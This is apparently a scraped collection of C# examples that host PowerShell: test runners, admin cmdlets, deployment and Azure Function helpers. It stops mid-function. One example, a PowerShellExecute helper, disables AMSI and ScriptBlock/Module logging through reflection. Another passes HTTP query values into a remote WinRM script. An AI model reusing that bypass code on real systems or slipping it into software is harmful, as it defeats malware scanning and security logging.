Exemplo n.º 1
0
 public PowerShellSession(ILogger log)
 {
     _proc = PowerShell.Create();
     _log = log;
     _proc.Commands.Clear();
     _proc.AddCommand("cd\\");
     _proc.Invoke();
     _proc.Commands.Clear();
     _proc.AddCommand("Get-Location");
     _proc.AddCommand("Out-String");
     CurrentPath = _proc.Invoke()
         .First()
         .ToString()
         .Split(new[] {Environment.NewLine}, StringSplitOptions.RemoveEmptyEntries)[2].Trim();
 }
 public PowershellAdminModuleFixture()
 {
     _powerShell = PowerShell.Create();
     _powerShell.AddCommand("Import-Module").AddParameter("Name", typeof(CreateScope).Assembly.Location);
     _database = Guid.NewGuid().ToString("N");
     var client = new MongoClient("mongodb://localhost");
     _server = client.GetServer();
     var settings = StoreSettings.DefaultSettings();
     settings.Database = _database;
     _factory = new Factory(new ServiceFactory(null, settings), new AdminServiceRegistry());            
 }
Exemplo n.º 3
0
        public override PowerShellTestResult RunTest(PowerShell powerShell, TestCase testCase, IRunContext runContext)
        {
            var module = FindModule("PSate", runContext);
            powerShell.AddCommand("Import-Module").AddParameter("Name", module);
            powerShell.Invoke();

            powerShell.Commands.Clear();

            powerShell.AddCommand("Invoke-Tests")
                .AddParameter("Path", testCase.CodeFilePath)
                .AddParameter("Output", "Results")
                .AddParameter("ResultsVariable", "Results");

            powerShell.Invoke();

            powerShell.Commands.Clear();
            powerShell.AddCommand("Get-Variable").AddParameter("Name", "Results");
            var results = powerShell.Invoke<PSObject>();

            if (powerShell.HadErrors && (results == null || !results.Any()))
            {
                var errors = powerShell.Streams.Error;
                var sb = new StringBuilder();
                foreach (var error in errors)
                {
                    sb.AppendLine(error.ToString());
                }

                return new PowerShellTestResult(TestOutcome.Failed, sb.ToString(), errors.FirstOrDefault().ScriptStackTrace);
            }

            var testFixture = testCase.FullyQualifiedName.Split(new []{"||"}, StringSplitOptions.None)[1];
            var testCaseName = testCase.FullyQualifiedName.Split(new[] { "||" }, StringSplitOptions.None)[2];

            return ParseTestResult(results.FirstOrDefault(), testFixture, testCaseName);
        }
Exemplo n.º 4
0
        public MyConsole()
        {
            InitializeComponent();
            powershell = PowerShell.Create();
            text = new StringBuilder();

            prevcommands = new Stack<string>();
            nextcommands = new Stack<string>();

            powershell.AddCommand("Out-String");
            this.textBox1.KeyUp += new KeyEventHandler(MyConsole_KeyUp);
            this.textBox1.KeyUp += new KeyEventHandler(textBox1_KeyUp);
            this.Show();
            this.Activate();
        }
Exemplo n.º 5
0
        public override PowerShellTestResult RunTest(PowerShell powerShell, TestCase testCase, IRunContext runContext)
        {
            var module = FindModule("Pester", runContext);
            powerShell.AddCommand("Import-Module").AddParameter("Name", module);
            powerShell.Invoke();

            powerShell.Commands.Clear();

            var fi = new FileInfo(testCase.CodeFilePath);

            var tempFile = Path.GetTempFileName();

            var describeName = testCase.FullyQualifiedName.Split(new[] {"||"}, StringSplitOptions.None)[1];
            var testCaseName = testCase.FullyQualifiedName.Split(new[] { "||" }, StringSplitOptions.None)[3];

            powerShell.AddCommand("Invoke-Pester")
                .AddParameter("relative_path", fi.Directory.FullName)
                .AddParameter("TestName", describeName)
                .AddParameter("OutputXml", tempFile);

            powerShell.Invoke();

            return ParseResultFile(tempFile, fi.Directory.FullName, describeName, testCaseName);
        }
Exemplo n.º 6
0
        /// <summary>
        /// New job.
        /// </summary>
        /// <remarks>
        /// Keep seconds for UI-less jobs: 0 ~ hidden mode, in this case a job creates UI on errors, as it is not attended.
        /// Other UI-less jobs are completely owned creators.
        /// </remarks>
        internal Job(JobCommand command, object parameters, string name, bool ui, int keepSeconds)
        {
            JobCommand  = command;
            Parameters  = parameters;
            Name        = name;
            KeepSeconds = keepSeconds;

            // create/open runspace
            //! *) Do not catch, if we fail, we fail and there is nothing to repair yet (not open)
            //! *) Use existing configuration, it is faster! Most of *-Far* cmdlets should not be used,
            //! but some of them can be used, e.g. Update-FarDescription; also we want to use ETS types,
            //! e.g. FarDescription property.
            if (ui)
            {
                JobUI    = new JobUI();
                Runspace = RunspaceFactory.CreateRunspace(new FarHost(JobUI), Runspace.DefaultRunspace.InitialSessionState);
            }
            else
            {
                //! DefaultHost is created internally. Perhaps it is reasonable to live with it, not with a custom host.
                Runspace = RunspaceFactory.CreateRunspace(Runspace.DefaultRunspace.InitialSessionState);
            }
            Runspace.Open();

            // new shell with the command
            PowerShell          = PowerShell.Create();
            PowerShell.Runspace = Runspace;
            JobCommand.Add(PowerShell);

            // add command parameters
            if (parameters != null)
            {
                if (parameters is IDictionary namedParameters)
                {
                    PowerShell.AddParameters(namedParameters);
                }
                else if (parameters is IList argumentList)
                {
                    PowerShell.AddParameters(argumentList);
                }
                else
                {
                    PowerShell.AddParameters(new object[] { parameters });
                }
            }

            // UI: Write all output, including errors.
            if (JobUI != null)
            {
                PowerShell.Commands.AddCommand(A.OutHostCommand);
            }
            // Hidden: Write output to "Out-Null" to avoid memory use.
            else if (keepSeconds <= 0)
            {
                //! User can use his Out-Null
                PowerShell.AddCommand("Out-Null");
            }
            // Output: create it once: it is cumulative
            else
            {
                Output = new PSDataCollection <PSObject>();
            }
        }
 public void No_Arguments()
 {
     // Execute cmdlet
     _ps.AddCommand(CmdletName);
     _ps.Invoke();
 }
Exemplo n.º 8
0
        /// <summary>
        /// Calls the Cmdlet
        /// </summary>
        protected override void ProcessRecord()
        {
            try
            {
                PowerShell ps    = PowerShell.Create(RunspaceMode.CurrentRunspace);
                string     query = String.Format("select * from [{0}].Mailbox where MailboxGuid = '{1}'", Database, MailboxGuid);

                // We add the command we want to run.
                // More information on the PowerShell.AddCommand method can be found here: https://msdn.microsoft.com/en-us/library/dd182430(v=vs.85).aspx
                ps.AddCommand("Get-StoreQuery");

                // We add the parameter that we want to specify.
                // More information on the PowerShell.AddParameter method can be found here: https://msdn.microsoft.com/en-us/library/dd182434(v=vs.85).aspx

                ps.AddParameter("Database", Database).AddArgument(query);

                // We add the command we want to run.
                // More information on the PowerShell.AddCommand method can be found here: https://msdn.microsoft.com/en-us/library/dd182430(v=vs.85).aspx
                ps.AddCommand("Select-Object");

                // We select the specific property we want to return.
                // More information on the PowerShell.AddParameter method can be found here: https://msdn.microsoft.com/en-us/library/dd182434(v=vs.85).aspx
                ps.AddParameter("Property", new string[] { "MailboxGuid", "DisplayName", "DeletedOn", "Status" });

                //Invoke the Powershell Cmdlet and store in a collection
                Collection <PSObject> resultsCollection = ps.Invoke();

                //Store results from the collection into a PSObject so we can output to the pipeline
                PSObject psObject = resultsCollection.FirstOrDefault();

                //Check if we have have results
                if (psObject != null)
                {
                    //We setup a new PSObject to hold values we're interested in
                    PSObject psObj = new PSObject();

                    psObj.Members.Add(new PSNoteProperty("DisplayName", psObject.Members["DisplayName"].Value.ToString()));
                    psObj.Members.Add(new PSNoteProperty("MailboxGuid", psObject.Members["MailboxGuid"].Value.ToString()));
                    psObj.Members.Add(new PSNoteProperty("DeletedOn", psObject.Members["DeletedOn"].Value.ToString()));

                    //Lets get the value of the Mailbox Status and store as an Int
                    int mailboxStatus = Int32.Parse(psObject.Members["Status"].Value.ToString());

                    //Based on the value of Mailbox Status we add the corresponding readable information to the PSObject.
                    switch (mailboxStatus)
                    {
                    case 0:
                        psObj.Members.Add(new PSNoteProperty("Status", "Invalid"));
                        break;

                    case 1:
                        psObj.Members.Add(new PSNoteProperty("Status", "New"));
                        break;

                    case 2:
                        psObj.Members.Add(new PSNoteProperty("Status", "UserAccessible"));
                        break;

                    case 3:
                        psObj.Members.Add(new PSNoteProperty("Status", "Disabled"));
                        break;

                    case 4:
                        psObj.Members.Add(new PSNoteProperty("Status", "SoftDeleted"));
                        break;

                    case 5:
                        psObj.Members.Add(new PSNoteProperty("Status", "HardDeleted"));
                        break;

                    case 6:
                        psObj.Members.Add(new PSNoteProperty("Status", "Tombstone"));
                        break;

                    case 7:
                        psObj.Members.Add(new PSNoteProperty("Status", "KeyAccessDenied"));
                        break;

                    default:
                        psObj.Members.Add(new PSNoteProperty("Status", "NULL"));
                        break;
                    }

                    //Write out the new PSObject to the pipeline
                    WriteObject(psObj);
                }
            }
            catch (Exception)
            {
                throw;
            }
        }
Exemplo n.º 9
0
        internal static void Deploy(DTE2 dte, Project project, Configuration conf)
        {
            ThreadHelper.JoinableTaskFactory.SwitchToMainThreadAsync();
            OutputsWindow.outputPane.OutputString("Hello world");
            // текущий путь
            string      str         = conf.Properties.Item("OutputPath").Value.ToString();
            var         path        = Path.Combine(Path.GetDirectoryName(project.FullName), str, @"Appx\AppxManifest.xml");
            XmlDocument xmlDocument = new XmlDocument();

            string command = "\"" + Path.GetDirectoryName(dte.FullName) + "\\devenv\" " +
                             "\"" + dte.Solution.FullName + "\" " +
                             "/deploy \"" + conf.ConfigurationName + "|" + conf.PlatformName + "\" /project " + "\"" +
                             project.FullName + "\" " + "/projectconfig \"" + conf.ConfigurationName + "|" + conf.PlatformName + "\"";

            var process = new System.Diagnostics.Process
            {
                StartInfo = new System.Diagnostics.ProcessStartInfo
                {
                    FileName               = "cmd.exe",
                    UseShellExecute        = false,
                    CreateNoWindow         = true,
                    RedirectStandardInput  = true,
                    RedirectStandardOutput = true
                }
            };

            //process.OutputDataReceived += Process_OutputDataReceived1;
            process.OutputDataReceived += new DataReceivedEventHandler((sender1, e1) =>
            {
                ThreadHelper.JoinableTaskFactory.SwitchToMainThreadAsync();
                OutputsWindow.outputPane.OutputString(e1.Data + Environment.NewLine);
            });

            process.Start();
            process.BeginOutputReadLine();
            //StreamReader reader = process.StandardOutput;
            using (StreamWriter pWriter = process.StandardInput)
            {
                if (pWriter.BaseStream.CanWrite)
                {
                    pWriter.WriteLine(command);
                }
            }

            process.WaitForExit();

            xmlDocument.Load(path);
            /*}*/

            XmlNodeList xmlNodes = xmlDocument.GetElementsByTagName("Package");

            foreach (XmlNode xmlNode in xmlNodes.Item(0).ChildNodes)
            {
                if (xmlNode.Name.Equals("Applications"))
                {
                    bool manifested = false;
                    if (xmlNode.ChildNodes.Count == 1)
                    {
                        // change manifest
                        var app = xmlNode.FirstChild as XmlElement;
                        var id  = app?.GetAttribute("id") as string;
                        for (int i = 0; i < 9; i++)
                        {
                            XmlNode copyApp = app.Clone();
                            ///todo change id
                            string val = app.Attributes["Id"].Value + i.ToString();
                            copyApp.Attributes["Id"].Value = val;
                            xmlNode.AppendChild(copyApp);
                        }
                        manifested = true;
                    }
                    // version up
                    foreach (XmlNode item in xmlNodes.Item(0).ChildNodes)
                    {
                        if (item.Name.Equals("Identity"))
                        {
                            var version = Version.Parse(item.Attributes["Version"].Value.ToString());
                            item.Attributes["Version"].Value = new Version(version.Major, version.Minor, version.Build, version.Revision + 1).ToString();
                        }
                    }

                    xmlDocument.Save(path);
                    // custom deploy
                    using (PowerShell PowerShellInstance = PowerShell.Create())
                    {
                        PowerShellInstance.AddCommand("Add-AppxPackage").AddParameter("register").AddArgument(path);
                        var result = PowerShellInstance.Invoke();
                        //OutputsWindow.outputPane.OutputString(PowerShellInstance.Streams.Verbose.ToString());
                        //Debug.Write(PowerShellInstance.Streams.Verbose.ToString());
                    }
                    if (manifested)
                    {
                        MessageBox.Show("Success deployed");
                    }
                    else
                    {
                        MessageBox.Show("Success version update");
                    }
                    break;
                }
            }
        }
Exemplo n.º 10
0
        /// <summary>
        /// Executes specified PowerShell code using System.Management.Automation.dll and bypasses
        /// AMSI, ScriptBlock Logging, and Module Logging (but not Transcription Logging).
        /// </summary>
        /// <param name="PowerShellCode">PowerShell code to execute.</param>
        /// <param name="OutString">Switch. If true, appends Out-String to the PowerShellCode to execute.</param>
        /// <param name="BypassLogging">Switch. If true, bypasses ScriptBlock and Module logging.</param>
        /// <param name="BypassAmsi">Switch. If true, bypasses AMSI.</param>
        /// <returns>Output of executed PowerShell.</returns>
        /// <remarks>
        /// Credit for the AMSI bypass goes to Matt Graeber (@mattifestation). Credit for the ScriptBlock/Module
        /// logging bypass goes to Lee Christensen (@_tifkin).
        /// </remarks>
        public static string PowerShellExecute(string PowerShellCode, bool OutString = true, bool BypassLogging = true, bool BypassAmsi = true)
        {
            if (string.IsNullOrEmpty(PowerShellCode))
            {
                return("");
            }

            using (PowerShell ps = PowerShell.Create())
            {
                BindingFlags flags = BindingFlags.NonPublic | BindingFlags.Static;
                if (BypassLogging)
                {
                    var PSEtwLogProvider = ps.GetType().Assembly.GetType("System.Management.Automation.Tracing.PSEtwLogProvider");
                    if (PSEtwLogProvider != null)
                    {
                        var EtwProvider   = PSEtwLogProvider.GetField("etwProvider", flags);
                        var EventProvider = new System.Diagnostics.Eventing.EventProvider(Guid.NewGuid());
                        EtwProvider.SetValue(null, EventProvider);
                    }
                }
                if (BypassAmsi)
                {
                    var amsiUtils = ps.GetType().Assembly.GetType("System.Management.Automation.AmsiUtils");
                    if (amsiUtils != null)
                    {
                        amsiUtils.GetField("amsiInitFailed", flags).SetValue(null, true);
                    }
                }
                ps.AddScript(PowerShellCode);
                if (OutString)
                {
                    ps.AddCommand("Out-String");
                }
                PSDataCollection <object> results = new PSDataCollection <object>();
                ps.Streams.Error.DataAdded += (sender, e) =>
                {
                    Console.WriteLine("Error");
                    foreach (ErrorRecord er in ps.Streams.Error.ReadAll())
                    {
                        results.Add(er);
                    }
                };
                ps.Streams.Verbose.DataAdded += (sender, e) =>
                {
                    foreach (VerboseRecord vr in ps.Streams.Verbose.ReadAll())
                    {
                        results.Add(vr);
                    }
                };
                ps.Streams.Debug.DataAdded += (sender, e) =>
                {
                    foreach (DebugRecord dr in ps.Streams.Debug.ReadAll())
                    {
                        results.Add(dr);
                    }
                };
                ps.Streams.Warning.DataAdded += (sender, e) =>
                {
                    foreach (WarningRecord wr in ps.Streams.Warning)
                    {
                        results.Add(wr);
                    }
                };
                ps.Invoke(null, results);
                string output = string.Join(Environment.NewLine, results.Select(R => R.ToString()).ToArray());
                ps.Commands.Clear();
                return(output);
            }
        }
Exemplo n.º 11
0
        public static List <RegistryPrograms> SearchRegistryPrograms(string architektur, string name)
        {
            //Einlesen des ConfigFiles für PackageSource
            List <RegistryPrograms> programList = new List <RegistryPrograms> {
            };

            string displayName     = "";
            string displayVersion  = "";
            string uninstallString = "";
            string psChildName     = "";

            PowerShell programs = PowerShell.Create();

            programs.AddCommand("Get-ItemProperty");

            if (architektur == "x64")
            {
                programs.AddParameter("Path", "HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*");
            }
            else if (architektur == "x86")
            {
                programs.AddParameter("Path", "HKLM:\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*");
            }
            else
            {
                MessageBox.Show("Programmarchitektur wählen");
            }
            //Aufteilen des Strings

            if (name == "*")
            {
                foreach (PSObject prog in programs.Invoke())
                {
                    foreach (string property in prog.ToString().Split(';'))
                    {
                        if (property.Contains("DisplayName"))
                        {
                            displayName = property.Split('=')[1];
                        }
                        else if (property.Contains("DisplayVersion"))
                        {
                            displayVersion = property.Split('=')[1];
                        }
                        else if (property.Contains("UninstallString"))
                        {
                            uninstallString = property.Split('=')[1];
                        }
                        else if (property.Contains("PSChildName"))
                        {
                            psChildName = property.Split('=')[1];
                        }
                    }

                    programList.Add(new RegistryPrograms(displayName, displayVersion, uninstallString, psChildName));

                    displayName     = "";
                    displayVersion  = "";
                    uninstallString = "";
                    psChildName     = "";
                }
            }
            else
            {
                foreach (PSObject prog in programs.Invoke())
                {
                    if (prog.ToString().Contains(name))
                    {
                        foreach (string property in prog.ToString().Split(';'))
                        {
                            if (property.Contains("DisplayName"))
                            {
                                displayName = property.Split('=')[1];
                            }
                            else if (property.Contains("DisplayVersion"))
                            {
                                displayVersion = property.Split('=')[1];
                            }
                            else if (property.Contains("UninstallString"))
                            {
                                uninstallString = property.Split('=')[1];
                            }
                            else if (property.Contains("PSChildName"))
                            {
                                psChildName = property.Split('=')[1];
                            }
                        }
                    }


                    programList.Add(new RegistryPrograms(displayName, displayVersion, uninstallString, psChildName));

                    displayName     = "";
                    displayVersion  = "";
                    uninstallString = "";
                    psChildName     = "";
                }
            }


            return(programList);
        }
Exemplo n.º 12
0
        /// <summary>
        /// ProcessRecord.
        /// </summary>
        protected override void ProcessRecord()
        {
            Hashtable modulePrivateData = this.MyInvocation.MyCommand.Module.PrivateData as Hashtable;

            if (AuthenticationResult == null)
            {
                AuthenticationResult = Authenticate.GetAuthToken(modulePrivateData);
            }
            if (!Authenticate.AuthTokenIsValid(AuthenticationResult))
            {
                this.ThrowTerminatingError(
                    new ErrorRecord(
                        new AuthenticationException("Cannot get Authentication Token"),
                        "Authentication Failure",
                        ErrorCategory.AuthenticationError,
                        AuthenticationResult));
            }

            string graphURI      = Authenticate.GetGraphURI(modulePrivateData);
            string schemaVersion = Authenticate.GetSchemaVersion(modulePrivateData);

            if ((CertificateList == null || CertificateList.Count == 0) &&
                (UserThumbprintList == null || UserThumbprintList.Count == 0) &&
                (UserList == null || UserList.Count == 0))
            {
                this.ThrowTerminatingError(
                    new ErrorRecord(
                        new ArgumentException("No Certificates specified"),
                        "Date Input Failure",
                        ErrorCategory.InvalidArgument,
                        AuthenticationResult));
            }

            if (UserThumbprintList == null)
            {
                UserThumbprintList = new List <UserThumbprint>();
            }

            if (UserList != null)
            {
                PowerShell ps = PowerShell.Create();
                ps.AddCommand("Import-Module").AddParameter("ModuleInfo", this.MyInvocation.MyCommand.Module);
                ps.Invoke();
                ps.Commands.Clear();

                ps.AddCommand("Get-IntuneUserPfxCertificate");
                ps.AddParameter("AuthenticationResult", AuthenticationResult);
                ps.AddParameter("UserList", UserList);

                foreach (PSObject result in ps.Invoke())
                {
                    UserPFXCertificate cert   = result.BaseObject as UserPFXCertificate;
                    string             userId = GetUserId.GetUserIdFromUpn(cert.UserPrincipalName, graphURI, schemaVersion, AuthenticationResult);
                    UserThumbprintList.Add(new UserThumbprint()
                    {
                        User = userId, Thumbprint = cert.Thumbprint
                    });
                }
            }

            if (CertificateList != null && CertificateList.Count > 0)
            {
                foreach (UserPFXCertificate cert in CertificateList)
                {
                    string userId = GetUserId.GetUserIdFromUpn(cert.UserPrincipalName, graphURI, schemaVersion, AuthenticationResult);
                    UserThumbprintList.Add(new UserThumbprint()
                    {
                        User = userId, Thumbprint = cert.Thumbprint
                    });
                }
            }

            successCnt = 0;
            failureCnt = 0;

            foreach (UserThumbprint userThumbprint in UserThumbprintList)
            {
                string         url = string.Format(CultureInfo.InvariantCulture, "{0}/{1}/deviceManagement/userPfxCertificates/{2}-{3}", graphURI, schemaVersion, userThumbprint.User, userThumbprint.Thumbprint);
                HttpWebRequest request;
                request = CreateWebRequest(url, AuthenticationResult);
                ProcessResponse(request, userThumbprint.User + "-" + userThumbprint.Thumbprint);
            }

            this.WriteCommandDetail(string.Format(LogMessages.RemoveCertificateSuccess, successCnt));
            if (failureCnt > 0)
            {
                this.WriteWarning(string.Format(LogMessages.RemoveCertificateFailure, successCnt));
            }
        }
Exemplo n.º 13
0
        /// <summary>
        /// Installs function app dependencies specified in functionAppRoot\requirements.psd1.
        /// </summary>
        internal void InstallFunctionAppDependencies(PowerShell pwsh, ILogger logger)
        {
            try
            {
                if (Dependencies.Count == 0)
                {
                    // If there are no dependencies to install, log and return.
                    logger.Log(LogLevel.Trace, PowerShellWorkerStrings.FunctionAppDoesNotHaveDependentModulesToInstall, isUserLog: true);
                    return;
                }

                if (!_shouldUpdateFunctionAppDependencies)
                {
                    // The function app already has the latest dependencies installed.
                    logger.Log(LogLevel.Trace, PowerShellWorkerStrings.LatestFunctionAppDependenciesAlreadyInstalled, isUserLog: true);
                    return;
                }

                // Install the function dependencies.
                logger.Log(LogLevel.Trace, PowerShellWorkerStrings.InstallingFunctionAppDependentModules, isUserLog: true);

                if (Directory.Exists(DependenciesPath))
                {
                    // Save-Module supports downloading side-by-size module versions. However, we only want to keep one version at the time.
                    // If the ManagedDependencies folder exits, remove all its contents.
                    DependencyManagementUtils.EmptyDirectory(DependenciesPath);
                }
                else
                {
                    // If the destination path does not exist, create it.
                    Directory.CreateDirectory(DependenciesPath);
                }

                try
                {
                    foreach (DependencyInfo module in Dependencies)
                    {
                        string moduleName    = module.Name;
                        string latestVersion = module.LatestVersion;

                        // Save the module to the given path
                        pwsh.AddCommand("PowerShellGet\\Save-Module")
                        .AddParameter("Repository", Repository)
                        .AddParameter("Name", moduleName)
                        .AddParameter("RequiredVersion", latestVersion)
                        .AddParameter("Path", DependenciesPath)
                        .AddParameter("Force", true)
                        .AddParameter("ErrorAction", "Stop")
                        .InvokeAndClearCommands();

                        var message = string.Format(PowerShellWorkerStrings.ModuleHasBeenInstalled, moduleName, latestVersion);
                        logger.Log(LogLevel.Trace, message, isUserLog: true);
                    }
                }
                finally
                {
                    // Clean up
                    pwsh.AddCommand(Utils.RemoveModuleCmdletInfo)
                    .AddParameter("Name", "PackageManagement, PowerShellGet")
                    .AddParameter("Force", true)
                    .AddParameter("ErrorAction", "SilentlyContinue")
                    .InvokeAndClearCommands();
                }
            }
            catch (Exception e)
            {
                var errorMsg = string.Format(PowerShellWorkerStrings.FailToInstallFuncAppDependencies, e.Message);
                throw new DependencyInstallationException(errorMsg, e);
            }
        }
Exemplo n.º 14
0
        private static ActionResult InvokePowershell(CertificateRequestResult result, string executionPolicy, string scriptFile, Dictionary <string, object> parameters, string scriptContent, PowerShell shell, bool autoConvertBoolean = true, string[] ignoredCommandExceptions = null)
        {
            // ensure execution policy will allow the script to run, default to system default, default policy is set in service config object

            if (!string.IsNullOrEmpty(executionPolicy))
            {
                shell.AddCommand("Set-ExecutionPolicy")
                .AddParameter("ExecutionPolicy", executionPolicy)
                .AddParameter("Scope", "Process")
                .AddParameter("Force")
                .Invoke();
            }

            // add script command to invoke
            if (scriptFile != null)
            {
                shell.AddCommand(scriptFile);
            }
            else
            {
                shell.AddScript(scriptContent);
            }

            // pass the result to the script if present
            if (result != null)
            {
                shell.AddParameter("result", result);
            }

            // pass parameters to script if present
            if (parameters != null)
            {
                foreach (var a in parameters)
                {
                    var val = a.Value;
                    if (autoConvertBoolean)
                    {
                        if (val != null && val?.ToString().ToLower() == "true")
                        {
                            val = true;
                        }
                        else if (val != null && val?.ToString().ToLower() == "false")
                        {
                            val = false;
                        }
                    }
                    shell.AddParameter(a.Key, val);
                }
            }

            var errors = new List <string>();

            // accumulate output
            var output = new StringBuilder();

            // capture errors

            if (ignoredCommandExceptions == null)
            {
                ignoredCommandExceptions = new string[] { };
            }

            shell.Streams.Error.DataAdded += (sender, args) =>
            {
                var error = shell.Streams.Error[args.Index];
                var src   = error.InvocationInfo.MyCommand?.ToString() ?? error.InvocationInfo.InvocationName;
                var msg   = $"{src}: {error}\n{error.InvocationInfo.PositionMessage}";
                if (!ignoredCommandExceptions.Contains(error.InvocationInfo.MyCommand?.Name))
                {
                    errors.Add(msg);
                }
            };

            // capture write-* methods (except write-host)

            // TODO: one of these streams may be causing ssh hang when ssh spawned as part of script..

            shell.Streams.Warning.DataAdded += (sender, args) => output.AppendLine(shell.Streams.Warning[args.Index].Message);
            shell.Streams.Debug.DataAdded   += (sender, args) => output.AppendLine(shell.Streams.Debug[args.Index].Message);
            shell.Streams.Verbose.DataAdded += (sender, args) => output.AppendLine(shell.Streams.Verbose[args.Index].Message);


            var outputData = new PSDataCollection <PSObject>();

            outputData.DataAdded += (sender, args) =>
            {
                // capture all main output
                var data = outputData[args.Index]?.BaseObject;
                if (data != null)
                {
                    output.AppendLine(data.ToString());
                }
            };

            try
            {
                var async = shell.BeginInvoke <PSObject, PSObject>(null, outputData);

                var maxWait     = 60 * 5; // 5 min timeout
                var currentWait = 0;
                var pollSeconds = 5;

                bool timeoutOccurred = false;

                while (!timeoutOccurred && !async.AsyncWaitHandle.WaitOne(pollSeconds * 1000, false))
                {
                    // poll while async task is still running
                    currentWait += pollSeconds;

                    if (currentWait <= maxWait)
                    {
                        output.AppendLine($"Waiting for powershell to complete..{currentWait}s");
                    }
                    else
                    {
                        output.AppendLine($"Timeout waiting for powershell to complete ({currentWait}s)");
                        errors.Add($"Script did not complete in the required time. ({maxWait}s)");
                        timeoutOccurred = true;
                    }
                }

                try
                {
                    if (async.IsCompleted)
                    {
                        shell.EndInvoke(async);
                        output.AppendLine($"Powershell Task Completed.");
                    }
                }
                catch (System.Management.Automation.RuntimeException ex)
                {
                    errors.Add($"{ex.ErrorRecord} {ex.ErrorRecord.ScriptStackTrace}");
                }
                catch (Exception ex)
                {
                    errors.Add($"Script invoke failed: {ex}");
                }

                if (errors.Any())
                {
                    foreach (var e in errors)
                    {
                        output.AppendLine("Error: " + e);
                    }
                }
                return(new ActionResult(output.ToString().TrimEnd('\n'), !errors.Any()));
            }
            catch (ParseException ex)
            {
                // this should only happen in case of script syntax errors, otherwise
                // errors would be output via the invoke's error stream
                output.AppendLine($"{ex.Message}");

                return(new ActionResult(output.ToString().TrimEnd('\n'), false));
            }
        }
Exemplo n.º 15
0
        public static async Task <IActionResult> Run(
            [HttpTrigger(AuthorizationLevel.Function, "get", "post", Route = null)] HttpRequest req,
            ILogger log)
        {
            log.LogInformation("C# HTTP trigger function processed a request.");

            string name      = req.Query["name"];
            var    allParams = req.GetQueryParameterDictionary();

            string  requestBody = await new StreamReader(req.Body).ReadToEndAsync();
            dynamic data        = JsonConvert.DeserializeObject(requestBody);

            name = name ?? data?.name;


            /*using (PowerShell ps = PowerShell.Create())
             * {
             *  // specify the script code to run.
             *  ps.AddScript("Set-Item WSMan:localhost\\client\\trustedhosts -value *");
             *
             *  // specify the parameters to pass into the script.
             *  //ps.AddParameters();
             *
             *  // execute the script and await the result.
             *  var pipelineObjects = await ps.InvokeAsync().ConfigureAwait(false);
             *
             *  // print the resulting pipeline objects to the console.
             *  foreach (var item in pipelineObjects)
             *  {
             *      Console.WriteLine(item.BaseObject.ToString());
             *  }
             * }*/

            WSManConnectionInfo connectionInfo = new WSManConnectionInfo();

            connectionInfo.Credential   = new PSCredential(Environment.GetEnvironmentVariable("User"), ConvertToSecureString(Environment.GetEnvironmentVariable("Password")));
            connectionInfo.ComputerName = Environment.GetEnvironmentVariable("ScriptHost");
            Runspace runspace = RunspaceFactory.CreateRunspace(connectionInfo);

            runspace.Open();
            string outputString = "";

            using (PowerShell ps = PowerShell.Create())
            {
                ps.Runspace = runspace;

                string scriptPath = Environment.GetEnvironmentVariable("ScriptPath");
                // specify the script code to run.
                ps.AddCommand(scriptPath);

                var scriptParams = new Dictionary <string, string>();
                foreach (var item in allParams)
                {
                    scriptParams.Add(item.Key, item.Value);
                }

                // specify the parameters to pass into the script.
                ps.AddParameters(scriptParams);

                // execute the script and await the result.
                var output = ps.Invoke();

                // print the resulting pipeline objects to the console.


                foreach (var item in output)
                {
                    Console.WriteLine(item.ToString());
                    outputString += item.ToString() + "\n";
                }
            }
            runspace.Close();

            string responseMessage = string.IsNullOrEmpty(outputString)
                ? "NO OUTPUT"
                : $"Connect to {Environment.GetEnvironmentVariable("ScriptHost")} as {Environment.GetEnvironmentVariable("User")} with OUTPUT: \n{outputString}";

            return(new OkObjectResult(responseMessage));

            SecureString ConvertToSecureString(string password)
            {
                if (password == null)
                {
                    throw new ArgumentNullException("password");
                }

                var securePassword = new SecureString();

                foreach (char c in password)
                {
                    securePassword.AppendChar(c);
                }

                securePassword.MakeReadOnly();
                return(securePassword);
            }
        }
Exemplo n.º 16
0
 /// <summary>
 /// Add a variable to the PowerShell session.
 /// </summary>
 /// <param name="powerShell">The <seealso cref="PowerShell"/> object.</param>
 /// <param name="name">Variable name.</param>
 /// <param name="value">Variable value.</param>
 public static void AddVariable(this PowerShell powerShell, string name, object value)
 {
     powerShell.AddCommand("Set-Variable");
     powerShell.AddParameter("Name", name);
     powerShell.AddParameter("Value", value);
 }
Exemplo n.º 17
0
 public static void AddVariable(PowerShell engine, string name, Dictionary <string, object> value)
 {
     engine.AddCommand("Set-Variable");
     engine.AddParameter("Name", name);
     engine.AddParameter("Value", value[name]);
 }
Exemplo n.º 18
0
 public static void AddVariable(PowerShell engine, string name, string value)
 {
     engine.AddCommand("Set-Variable");
     engine.AddParameter("Name", name);
     engine.AddParameter("Value", value);
 }
Exemplo n.º 19
0
        private PowerShellAuthorizationResponse GetAuthorizationResponse(string script, IUser user, IComputer computer, int timeout)
        {
            PowerShell powershell = this.sessionProvider.GetSession(script, "Get-AuthorizationResponse");

            powershell.AddCommand("Get-AuthorizationResponse")
            .AddParameter("user", this.ToPSObject(user))
            .AddParameter("computer", this.ToPSObject(computer));

            Task <PowerShellAuthorizationResponse> task = new Task <PowerShellAuthorizationResponse>(() =>
            {
                var results = powershell.Invoke();
                powershell.ThrowOnPipelineError();

                foreach (PSObject result in results)
                {
                    if (result.BaseObject is PowerShellAuthorizationResponse res)
                    {
                        return(res);
                    }

                    if (result.Properties[nameof(res.IsLocalAdminPasswordAllowed)] == null &&
                        result.Properties[nameof(res.IsLocalAdminPasswordDenied)] == null &&
                        result.Properties[nameof(res.IsLocalAdminPasswordHistoryAllowed)] == null &&
                        result.Properties[nameof(res.IsLocalAdminPasswordHistoryDenied)] == null &&
                        result.Properties[nameof(res.IsJitAllowed)] == null &&
                        result.Properties[nameof(res.IsJitDenied)] == null &&
                        result.Properties[nameof(res.IsBitLockerAllowed)] == null &&
                        result.Properties[nameof(res.IsBitLockerDenied)] == null
                        )
                    {
                        continue;
                    }

                    res = new PowerShellAuthorizationResponse();
                    res.IsLocalAdminPasswordAllowed        = Convert.ToBoolean(result.Properties[nameof(res.IsLocalAdminPasswordAllowed)]?.Value ?? false);
                    res.IsLocalAdminPasswordDenied         = Convert.ToBoolean(result.Properties[nameof(res.IsLocalAdminPasswordDenied)]?.Value ?? false);
